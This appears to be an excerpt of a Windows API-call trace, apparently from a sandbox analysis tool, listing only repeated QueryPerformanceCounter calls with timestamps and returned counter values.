[0204.688] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013943019585) returned 1
[0204.704] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013944610188) returned 1
[0204.704] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013944640493) returned 1
[0204.832] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013957456093) returned 1
[0204.832] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013957472381) returned 1
[0204.845] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013958766194) returned 1
[0204.845] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013958786815) returned 1
[0204.868] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013961058971) returned 1
[0204.868] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013961090949) returned 1
[0204.877] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013961948991) returned 1
[0204.877] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013962188189) returned 1
[0204.920] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013966247935) returned 1
[0204.920] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013966264726) returned 1
[0204.922] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013966457449) returned 1
[0204.922] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013966472697) returned 1
[0204.947] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013968940881) returned 1
[0204.947] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013968957990) returned 1
[0204.960] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013970244208) returned 1
[0204.960] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013970268647) returned 1
[0204.976] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013971837891) returned 1
[0204.976] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013971853970) returned 1
[0204.993] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013973550911) returned 1
[0204.993] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013973570286) returned 1
[0205.008] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013975039126) returned 1
[0205.008] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013975056819) returned 1
[0205.035] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013977716961) returned 1
[0205.035] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013977733929) returned 1
[0205.040] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013978235283) returned 1
[0205.040] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013978250416) returned 1
[0205.056] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013979839035) returned 1
[0205.056] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013979855078) returned 1
[0205.072] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013981478062) returned 1
[0205.072] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013981500329) returned 1
[0205.088] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013983052417) returned 1
[0205.088] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013983072078) returned 1
[0205.104] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013984638734) returned 1
[0205.104] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013984654443) returned 1
[0205.120] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013986239134) returned 1
[0205.120] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013986255991) returned 1
[0205.136] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013987842726) returned 1
[0205.136] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013987857682) returned 1
[0205.152] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013989438575) returned 1
[0205.152] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013989456867) returned 1
[0205.315] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014005710083) returned 1
[0205.315] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014005745248) returned 1
[0205.328] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014007047318) returned 1
[0205.328] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014007063534) returned 1
[0205.344] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014008647668) returned 1
[0205.344] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014008667152) returned 1
[0205.360] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014010247939) returned 1
[0205.360] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014010272696) returned 1
[0205.376] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014011853915) returned 1
[0205.376] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014011879997) returned 1
[0205.393] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014013511788) returned 1
[0205.393] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014013538007) returned 1
[0205.408] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014015103078) returned 1
[0205.409] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014015129410) returned 1
[0205.425] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014016723148) returned 1
[0205.425] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014016742522) returned 1
[0205.440] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014018301239) returned 1
[0205.441] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014018330891) returned 1
[0205.457] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014019909351) returned 1
[0205.457] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014019938686) returned 1
[0205.472] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014021497224) returned 1
[0205.473] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014021514696) returned 1
[0205.488] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014023100573) returned 1
[0205.489] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014023125786) returned 1
[0205.504] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014024703024) returned 1
[0205.505] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014024727907) returned 1
[0205.520] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014026299240) returned 1
[0205.521] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014026324523) returned 1
[0205.536] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014027867831) returned 1
[0205.536] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014027892585) returned 1
[0205.552] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014029450362) returned 1
[0205.552] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014029492375) returned 1
[0205.568] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014031046611) returned 1
[0205.568] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014031074637) returned 1
[0205.591] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014033389638) returned 1
[0205.592] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014033421165) returned 1
[0205.606] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014034878221) returned 1
[0205.606] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014034902654) returned 1
[0205.622] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014036475603) returned 1
[0205.622] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014036491504) returned 1
[0205.638] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014038070791) returned 1
[0205.638] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014038085321) returned 1
[0205.654] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014039676086) returned 1
[0205.654] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014039691004) returned 1
[0205.670] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014041275967) returned 1
[0205.670] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014041296572) returned 1
[0205.686] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014042871467) returned 1
[0205.686] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014042886767) returned 1
[0205.702] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014044484304) returned 1
[0205.702] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014044504092) returned 1
[0205.719] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014046196943) returned 1
[0205.720] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014046217849) returned 1
[0205.734] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014047681037) returned 1
[0205.735] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014047730207) returned 1
[0205.750] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014049284076) returned 1
[0205.751] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014049314092) returned 1
[0205.766] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014050863323) returned 1
[0205.766] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014050882590) returned 1
[0205.783] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014052514466) returned 1
[0205.783] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014052548432) returned 1
[0208.350] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014309301288) returned 1
[0208.351] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014309318018) returned 1
[0208.482] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014322439632) returned 1
[0208.482] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014322456535) returned 1
[0208.482] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014322497398) returned 1
[0208.483] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014322511383) returned 1
[0208.493] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014323508122) returned 1
[0208.493] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014323525936) returned 1
[0208.541] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014328404117) returned 1
[0208.542] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014328419926) returned 1
[0208.542] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014328466699) returned 1
[0208.542] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014328498639) returned 1
[0208.558] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014330052859) returned 1
[0208.558] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014330080006) returned 1
[0208.573] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014331546547) returned 1
[0208.573] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014331577296) returned 1
[0208.589] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014333141941) returned 1
[0208.589] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014333171988) returned 1
[0208.605] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014334734285) returned 1
[0208.605] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014334750123) returned 1
[0208.621] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014336339119) returned 1
[0208.621] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014336365501) returned 1
[0208.637] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014337933901) returned 1
[0208.637] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014337949848) returned 1
[0208.653] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014339524908) returned 1
[0208.653] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014339541007) returned 1
[0208.669] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014341131822) returned 1
[0208.669] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014341159148) returned 1
[0208.696] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014343809499) returned 1
[0208.696] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014343829551) returned 1
[0208.701] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014344325221) returned 1
[0208.701] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014344350729) returned 1
[0208.717] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014345932112) returned 1
[0208.717] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014345976044) returned 1
[0208.733] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014347523739) returned 1
[0208.733] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014347539767) returned 1
[0208.749] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014349123995) returned 1
[0208.749] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014349140000) returned 1
[0208.765] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014350721490) returned 1
[0208.765] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014350737558) returned 1
[0208.783] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014352559966) returned 1
[0208.783] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014352577066) returned 1
[0208.799] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014354121803) returned 1
[0208.799] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014354137584) returned 1
[0208.815] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014355718459) returned 1
[0208.815] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014355734256) returned 1
[0208.831] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014357316654) returned 1
[0208.831] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014357331525) returned 1
[0208.848] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014359039098) returned 1
[0208.848] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014359053887) returned 1
[0208.862] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014360475852) returned 1
[0208.862] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014360490605) returned 1
[0208.878] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014362085282) returned 1
[0208.878] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014362103180) returned 1
[0208.895] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014363798444) returned 1
[0208.896] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014363833030) returned 1
[0208.911] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014365378076) returned 1
[0208.911] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014365394671) returned 1
[0208.928] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014367064060) returned 1
[0208.928] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014367079563) returned 1
[0208.944] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014368628043) returned 1
[0208.944] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014368643359) returned 1
[0208.960] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014370209956) returned 1
[0208.960] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014370224678) returned 1
[0208.975] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014371777827) returned 1
[0208.975] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014371802560) returned 1
[0208.992] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014373481683) returned 1
[0208.993] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014373508320) returned 1
[0209.008] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014375071236) returned 1
[0209.008] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014375102493) returned 1
[0209.027] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014376956743) returned 1
[0209.027] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014376976538) returned 1
[0209.043] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014378517346) returned 1
[0209.043] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014378536718) returned 1
[0209.059] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014380119907) returned 1
[0209.059] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014380303246) returned 1
[0209.075] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014381728329) returned 1
[0209.075] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014381777332) returned 1
[0209.091] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014383319625) returned 1
[0209.091] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014383345323) returned 1
[0209.107] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014384920617) returned 1
[0209.107] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014384946271) returned 1
[0209.123] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014386519816) returned 1
[0209.123] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014386545771) returned 1
[0209.139] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014388127521) returned 1
[0209.139] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014388154762) returned 1
[0209.154] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014389705745) returned 1
[0209.155] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014389726504) returned 1
[0209.172] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014391435634) returned 1
[0209.172] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014391462036) returned 1
[0209.186] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014392871240) returned 1
[0209.187] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014392928903) returned 1
[0209.202] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014394469154) returned 1
[0209.202] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014394495681) returned 1
[0209.218] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014396070076) returned 1
[0209.218] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014396101970) returned 1
[0209.234] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014397674461) returned 1
[0209.234] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014397704929) returned 1
[0209.251] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014399375675) returned 1
[0209.252] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014399407854) returned 1
[0209.267] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014400972015) returned 1
[0209.267] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014400999502) returned 1
[0209.283] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014402561102) returned 1
[0209.284] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014402606984) returned 1
[0209.299] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014404151049) returned 1
